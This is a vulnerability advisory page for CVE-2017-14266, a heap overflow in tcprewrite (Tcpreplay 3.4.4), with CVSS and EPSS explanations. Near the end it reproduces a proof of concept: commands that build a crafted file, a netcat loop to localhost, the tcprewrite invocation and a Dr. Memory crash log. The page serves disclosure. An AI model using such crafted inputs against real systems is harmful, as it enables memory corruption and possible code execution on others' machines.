CVE-2017-14266 : Detail

CVE-2017-14266

7.8
/
High
Overflow
2.97%V4
Local
2017-09-12
06h00 +00:00
2017-09-25
05h57 +00:00
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CVE Descriptions

tcprewrite in Tcpreplay 3.4.4 has a Heap-Based Buffer Overflow vulnerability triggered by a crafted PCAP file, a related issue to CVE-2016-6160.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 7.8 HIGH CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities.

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

nvd@nist.gov
V2 6.8 AV:N/AC:M/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 42652

Publication date : 2017-09-10 22h00 +00:00
Author : FarazPajohan
EDB Verified : No

################ #Title: tcprewrite Heap-Based Buffer Overflow #CVE: CVE-2017-14266 #CWE: CWE-122 #Exploit Author: Hosein Askari(FarazPajohan) #Vendor HomePage: http://tcpreplay.synfin.net/ #Product Description: When you want to give a PCAP file to someone, it gives away certain sensitive information such as an organizations internal IP range, IP addresses of sensitive company assets, MAC addresses of critical hardware that could identify the product vendors. Tcprewrite is a security tool to rewrite packets stored in PCAP file format, such as created by tools such as tcpdump and ethereal. #Version : 3.4.4 Released under the Free BSD License #Tested on: Ubuntu 16.04 (Linux 4.4.0-93-generic) #Date: 11-09-2017 #Category: Application #Author Mail : hosein.askari@aol.com #Description: tcprewrite in Tcpreplay 3.4.4 has a Heap-Based Buffer Overflow vulnerability triggered by a crafted PCAP file can cause a memory corruption and potential code execution. ############### #First we make a crafted file and send it to the network and capture its information by wireshark. ~Step 1: sudo echo -ne '\x63\x72\x61\x66\x74\x65\x64\x20\x66\x69\x6c\x65\x20\x69\x73\x20\x6d\x61\x64\x65\x20\x62\x79\x20\x48\x6f\x73\x65\x69\x6e\x20\x41\x73\x6b\x61\x72\x69' | dd conv=notrunc bs=1000 seek=200 of=tcp3.txt ~Step 2(Sending the information and capturing by wireshark): import os for i in range(1,20): os.system("cat tcp3.txt | nc 127.0.0.1 21") ~Step 3(Using tcprewrite): sudo tcprewrite --portmap=21:2121 --infile=tcp.pcap --outfile=output.pcap ################ #POC: constantine@constantine:~/Downloads/DrMemory-Linux-1.11.0-2/bin$ sudo ./drmemory -- tcprewrite --portmap=21:2121 --infile=tcp.pcap --outfile=output.pcap ~~Dr.M~~ Dr. Memory version 1.11.0 ~~Dr.M~~ WARNING: application is missing line number information. ~~Dr.M~~ ~~Dr.M~~ Error #1: UNADDRESSABLE ACCESS beyond heap bounds: writing 0x080d458f-0x080d4590 1 byte(s) within 0x080d458c-0x080d4590 ~~Dr.M~~ # 0 replace_memcpy [/work/drmemory_package/drmemory/replace.c:246] ~~Dr.M~~ # 1 tcprewrite!? +0x0 (0x0804ae59 <tcprewrite+0x2e59>) ~~Dr.M~~ # 2 tcprewrite!? +0x0 (0x08049f91 <tcprewrite+0x1f91>) ~~Dr.M~~ # 3 tcprewrite!? +0x0 (0x0804a1a1 <tcprewrite+0x21a1>) ~~Dr.M~~ Note: @0:00:01.045 in thread 2521 ~~Dr.M~~ Note: next higher malloc: 0x080d45b0-0x080e45af ~~Dr.M~~ Note: instruction: mov %eax -> (%ebx) ~~Dr.M~~ ~~Dr.M~~ Error #2: UNADDRESSABLE ACCESS beyond heap bounds: writing 0x080d459c-0x080d459d 1 byte(s) ~~Dr.M~~ # 0 replace_memcpy [/work/drmemory_package/drmemory/replace.c:252] ~~Dr.M~~ # 1 tcprewrite!? +0x0 (0x0804ae59 <tcprewrite+0x2e59>) ~~Dr.M~~ # 2 tcprewrite!? +0x0 (0x08049f91 <tcprewrite+0x1f91>) ~~Dr.M~~ # 3 tcprewrite!? +0x0 (0x0804a1a1 <tcprewrite+0x21a1>) ~~Dr.M~~ Note: @0:00:01.047 in thread 2521 ~~Dr.M~~ Note: next higher malloc: 0x080d45b0-0x080e45af ~~Dr.M~~ Note: instruction: mov %dl -> (%eax) ~~Dr.M~~ ~~Dr.M~~ Error #3: UNADDRESSABLE ACCESS beyond heap bounds: reading 0x080d458f-0x080d4591 2 byte(s) within 0x080d458d-0x080d4591 ~~Dr.M~~ # 0 libc.so.6!__GI___mempcpy [../sysdeps/i386/i686/multiarch/../mempcpy.S:54] ~~Dr.M~~ # 1 libc.so.6!__GI__IO_default_xsputn [/build/glibc-KM3i_a/glibc-2.23/libio/genops.c:438] ~~Dr.M~~ # 2 libc.so.6!_IO_new_file_xsputn [/build/glibc-KM3i_a/glibc-2.23/libio/fileops.c:1352] ~~Dr.M~~ # 3 libc.so.6!__GI__IO_fwrite [/build/glibc-KM3i_a/glibc-2.23/libio/iofwrite.c:39] ~~Dr.M~~ # 4 libpcap.so.0.8!pcap_dump +0x5f (0xb79f1100 <libpcap.so.0.8+0x1d100>) ~~Dr.M~~ # 5 tcprewrite!? +0x0 (0x0804adc6 <tcprewrite+0x2dc6>) ~~Dr.M~~ # 6 tcprewrite!? +0x0 (0x08049f91 <tcprewrite+0x1f91>) ~~Dr.M~~ # 7 tcprewrite!? +0x0 (0x0804a1a1 <tcprewrite+0x21a1>) ~~Dr.M~~ Note: @0:00:01.071 in thread 2521 ~~Dr.M~~ Note: next higher malloc: 0x080d45b0-0x080e45af ~~Dr.M~~ Note: instruction: rep movs %ds%esi) %esi %edi %ecx -> %es%edi) %esi %edi %ecx ~~Dr.M~~ ~~Dr.M~~ Error #4: LEAK 8 direct bytes 0x080c3168-0x080c3170 + 0 indirect bytes ~~Dr.M~~ # 0 replace_malloc [/work/drmemory_package/common/alloc_replace.c:2576] ~~Dr.M~~ # 1 tcprewrite!? +0x0 (0x08059e6c <tcprewrite+0x11e6c>) ~~Dr.M~~ # 2 tcprewrite!? +0x0 (0x0804ea21 <tcprewrite+0x6a21>) ~~Dr.M~~ # 3 tcprewrite!? +0x0 (0x0804c264 <tcprewrite+0x4264>) ~~Dr.M~~ # 4 tcprewrite!? +0x0 (0x08049e0c <tcprewrite+0x1e0c>) ~~Dr.M~~ # 5 tcprewrite!? +0x0 (0x0804a1a1 <tcprewrite+0x21a1>) <Application /usr/bin/tcprewrite (2521). Dr. Memory internal crash at PC 0x7384d6d5. Please report this at http://drmemory.org/issues. Program aborted. Received SIGSEGV at client library pc 0x7384d6d5 in thread 2521 Base: 0xb7e25000 Registers:eax=0x00000000 ebx=0x73934a30 ecx=0x00000002 edx=0x739355c0 esi=0x4b200ba8 edi=0x00000006 esp=0x4a0c6814 ebp=0x00000000 eflags=0x000102 1.11.0-2-(Aug 29 2016 02:45:30)0 -no_dynamic_options -disasm_mask 8 -logdir '/home/constantine/Downloads/DrMemory-Linux-1.11.0-2/drmemory/logs/dynamorio' -client_lib '/home/constantine/Downloads/DrMemory-Linux-1.11.0-2/bin/release/libdrmemorylib.so;0;-logdir `/home/constantine/Downloads/DrMemory-Linux-1.11.0-2/drmemory/logs` -symcache_dir `/home/constan /home/constantine/Downloads/DrMemory-Linux-1.11.0-2/bin/release/libdrmemorylib.so=0x73800000 /usr/lib/i386-linux-gnu/libstdc++.so.6=0xb7c84000 /lib/i386-linux-gnu/libgcc_s.so.1=0xb7a33000 /lib/i386-linux-gnu/libm.so.6=0xb7c2e000 /lib/i386-linux-gnu/libc.so.6=0xb7a77000 /lib/ld-linux.so.2=0xb7a51000>

Products Mentioned

Configuraton 0

Broadcom>>Tcpreplay >> Version 3.4.4

References

https://www.exploit-db.com/exploits/42652/
Tags : exploit, x_refsource_EXPLOIT-DB